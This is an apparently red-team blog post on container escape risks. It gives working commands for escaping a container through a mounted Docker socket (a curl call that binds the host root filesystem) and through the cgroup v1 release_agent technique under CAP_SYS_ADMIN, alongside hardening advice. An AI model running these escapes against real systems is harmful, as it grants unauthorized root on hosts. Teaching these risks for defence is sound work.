The moment you hit enter on docker run --rm -it --privileged --net=host --pid=host alpine, you’ve basically taken that isolation layer you trust so much and tossed it right into the bin. If I’m on a Red Team engagement and I find a container running with those parameters, well... thanks for the coffee, because I already own your host.
Hey there. Let's get real for a second. We’re going to talk about "container security," but let’s strip away the polished graphics from vendor slide decks and look at the cold, honest face of the terminal. Many of us use Docker or Kubernetes thinking we’re inside a fortress, totally isolated and safe. But honestly? Sometimes those fortress walls are thinner than a sheet of paper. Let’s look at how we tear those walls down and why we keep making the same mistakes.
The Docker Socket: Handing the Keys to the Burglar
Here’s a scenario I see way too often: A dev friend wants to run Docker commands from inside a container—maybe for a CI/CD tool or a monitoring agent. The "quick fix"? They mount the docker.sock file into the container.
docker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu
Now, imagine I’ve just gained a shell in that container. Even if the docker binary isn't installed, I don’t care. A simple curl command is all I need to talk to the Docker Daemon on the host and spin up a new container. But this time, I’ll configure the new container to mount the host’s entire root directory. Check this out:
# We are inside the "victim" container
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" \
-d '{"Image": "alpine", "Cmd": ["/bin/sh", "-c", "chroot /hostroot /bin/sh"], "HostConfig": {"Binds": ["/:/hostroot"]}}' \
http://localhost/containers/create
# Then start this new "malicious" container...
The punchline? docker.sock lets you talk directly to the Docker Daemon. And that daemon runs as root. If you have access to the socket, you have root on the host. Period. During a test we did for a client recently, a single monitoring tool configured this way allowed us to take over the entire node in minutes. The fix? Never mount the socket. If you absolutely must, put the Docker API behind a proxy and allow only specific, read-only requests.
Privileged Containers and the Capability Trap
Running a container with the --privileged flag is like handing it the keys to the kingdom on a silver platter. It grants almost all kernel capabilities of the host. But sometimes, people try to be "subtle." They think, "I'll just give it CAP_NET_ADMIN so it can tweak the network," or they add CAP_SYS_ADMIN for some disk manipulation.
Let me tell you, CAP_SYS_ADMIN is a nightmare waiting to happen. If a container has this capability and it’s using cgroup v1, I can use the "release_agent" method to execute commands directly on the host.
Here’s the logic behind the payload:
# 1. Mount a cgroup
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# 2. Enable the notify_on_release feature
echo 1 > /tmp/cgrp/x/notify_on_release
# 3. Find the host path of our container's files
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# 4. Set the release_agent to point to our exploit script
echo "$host_path/exploit" > /tmp/cgrp/release_agent
# 5. Create the exploit script that runs on the host
echo '#!/bin/sh' > /exploit
echo 'ps aux > /host_ps_output' >> /exploit
chmod a+x /exploit
# 6. Trigger it
sh -c "echo \$$ > /tmp/cgrp/x/cgroup.procs"
Once that process finishes, the kernel looks at release_agent and executes my script on the host as root. Game over.
We often get caught up in the "latest" vulnerabilities, but the truth is, most "escapes" happen because we let our guard down for the sake of convenience. If you're building these environments, remember: isolation isn't a given; it's something you have to fight to maintain. Stay curious, and keep those cages locked tight.
